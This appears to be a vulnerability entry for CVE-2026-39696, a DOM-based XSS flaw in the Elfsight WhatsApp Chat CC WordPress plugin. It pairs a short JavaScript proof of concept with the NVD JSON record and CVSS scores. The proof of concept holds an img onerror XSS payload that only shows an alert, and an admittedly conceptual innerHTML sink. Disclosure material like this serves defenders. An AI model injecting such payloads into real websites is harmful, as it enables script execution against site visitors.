CVE-2026-39696

/** * PoC for CVE-2026-39696 DOM-Based XSS * This payload demonstrates script execution via the vulnerable parameter. * Usage: Inject the payload into the vulnerable input field or URL parameter. */ // Malicious payload to execute JavaScript var payload = '<img src=x onerror=alert(\'XSS-CVE-2026-39696\')>'; // Simulation of the vulnerable sink (conceptual) // In the real plugin, this might be: element.innerHTML = userInput; function simulateVulnerability(userInput) { document.getElementById('chat-widget').innerHTML = userInput; } console.log("Injecting payload: " + payload); // simulateVulnerability(payload);

{"cve": {"id": "CVE-2026-39696", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:42.037", "lastModified": "2026-04-24T18:05:35.730", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Elfsight Elfsight WhatsApp Chat CC elfsight-whatsapp-chat allows DOM-Based XSS.This issue affects Elfsight WhatsApp Chat CC: from n/a through <= 1.2.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/elfsight-whatsapp-chat/vulnerability/wordpress-elfsight-whatsapp-chat-cc-plugin-1-2-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}